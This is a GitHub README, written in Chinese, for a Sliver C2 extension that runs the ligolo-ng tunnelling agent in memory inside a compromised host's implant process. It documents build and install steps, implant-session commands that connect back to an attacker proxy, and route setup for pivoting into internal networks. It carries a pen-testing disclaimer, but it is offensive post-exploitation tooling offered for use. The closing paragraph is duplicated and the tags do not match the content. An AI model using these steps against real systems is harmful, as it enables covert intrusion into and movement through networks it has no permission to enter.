s4wbvnny/ligolo-bof
GitHub: s4wbvnny/ligolo-bof
该项目是 Sliver C2 的扩展,将 ligolo-ng 隧道代理以共享库形式在 implant 进程内运行,实现内存级网络隧道连接。
Stars: 2 | Forks: 0
# ligolo-bof
## 工作原理
```
[Sliver C2] ──➤ [ligolo-bof DLL] ──TLS──➤ [ligolo-ng proxy (attacker)]
(runs in-memory (./proxy -selfcert)
as Sliver extension)
```
该扩展在 Sliver implant 的进程中运行。被调用时,它会:
1. 通过 TCP+TLS(或 WebSocket/TLS)拨号连接到 ligolo-ng proxy。
2. 建立一个 yamux 多路复用会话,与标准的 ligolo-ng agent 协议相匹配。
3. 处理来自 proxy 的所有隧道命令(connect、ping、listener 等)。
4. 在后台持续运行,并在失败时自动重新连接。
TLS 证书验证**默认是禁用的** —— proxy 使用的是自签名证书(`-selfcert`)。请使用 `--accept-fingerprint` 进行证书锁定。
## 环境要求
### 攻击机 (Linux)
- [ligolo-ng proxy](https://github.com/nicocha30/ligolo-ng/releases) — 监听端
- [Sliver C2](https://github.com/BishopFox/sliver) — 用于加载和运行扩展
- 支持 CGO 的 Go 1.21+
- MinGW 交叉编译器(用于 Windows 目标):
sudo apt install gcc-mingw-w64-x86-64 gcc-mingw-w64-i686
- `jq`(用于安装脚本):
sudo apt install jq
### 目标机 (Windows/Linux)
- 一个活跃的 Sliver implant 会话 —— 无需其他额外工具。
## 安装说明
### 1. 克隆代码仓库
```
git clone https://github.com/s4wbvnny/ligolo-bof.git
cd ligolo-bof
```
### 2. 编译并安装 Sliver 扩展
安装脚本将编译所有目标并自动安装该扩展:
```
chmod +x setup_sliver_extension.sh
./setup_sliver_extension.sh
```
这将:
- 编译 `ligolo.x64.so` (Linux 64-bit)
- 编译 `ligolo.x64.dll` (Windows 64-bit)
- 编译 `ligolo.x86.dll` (Windows 32-bit)
- 将所有文件复制到 `~/.sliver-client/extensions/ligolo-ng-bof/`
### 3. 在 Sliver 中加载该扩展
```
sliver > extensions load /home//.sliver-client/extensions/ligolo-ng-bof
```
## 用法
首先,在攻击机上启动 ligolo-ng proxy:
```
./proxy -selfcert
```
然后,在目标机上的 Sliver 会话中:
### 连接到 proxy
```
sliver (SESSION) > ligolo connect 192.168.1.100:11601
```
### 通过 WebSocket 连接
```
sliver (SESSION) > ligolo connect wss://192.168.1.100:443
```
### 使用证书锁定进行连接
从 proxy 的输出中获取指纹(`TLS Certificate fingerprint is: ...`),然后:
```
sliver (SESSION) > ligolo connect 192.168.1.100:11601 --accept-fingerprint
```
### 通过 SOCKS5 代理连接
```
sliver (SESSION) > ligolo connect 192.168.1.100:11601 --proxy socks5://127.0.0.1:1080
```
### 列出活动的隧道任务
```
sliver (SESSION) > ligolo list
```
### 停止任务
```
sliver (SESSION) > ligolo stop 0
```
## 设置隧道(在 proxy 端)
一旦 agent 连接成功,请使用标准的 ligolo-ng proxy 工作流:
```
ligolo-ng » session
[Agent joined: WINBOX@WIN10 ...]
ligolo-ng » tunnel_start --tun ligolo
ligolo-ng » route add 192.168.50.0/24 ligolo
```
你现在就可以像处理任何其他 ligolo-ng 会话一样,通过该隧道路由流量。
## 手动编译
如果你更愿意单独编译各个目标:
```
# Linux x64
make linuxso_64
# Windows x64
make windowsdll_64
# Windows x86
make windowsdll_32
# 所有 targets
make all windowsdll_64 windowsdll_32
```
## 项目结构
```
ligolo-bof/
├── main.go # Extension entrypoint + all connection logic
├── sendoutput_linux.go # Output callback for Linux
├── sendoutput_windows.go # Output callback for Windows
├── extension.json # Sliver extension manifest
├── Makefile # Build system
├── setup_sliver_extension.sh # One-shot build + install script
├── go.mod / go.sum # Go module files
└── README.md
```
## 免责声明
本工具仅供**授权的渗透测试和红队演练使用**。滥用此软件是非法且不道德的行为。对于因滥用本工具造成的任何损害,作者不承担任何责任。
附言:我只是在名字里加上了 bof 以便你更容易找到它,从技术上讲它并不是一个 bof,但你懂的。 ## 许可证 本项目基于 **GNU General Public License v3.0** 授权,与上游 [ligolo-ng](https://github.com/nicocha30/ligolo-ng) 的许可证保持一致。
附言:我只是在名字里加上了 bof 以便你更容易找到它,从技术上讲它并不是一个 bof,但你懂的。 ## 许可证 本项目基于 **GNU General Public License v3.0** 授权,与上游 [ligolo-ng](https://github.com/nicocha30/ligolo-ng) 的许可证保持一致。
标签:C2框架, EVTX分析, Gophish, 安全学习资源, 安全攻防, 日志审计, 流量代理, 网络隧道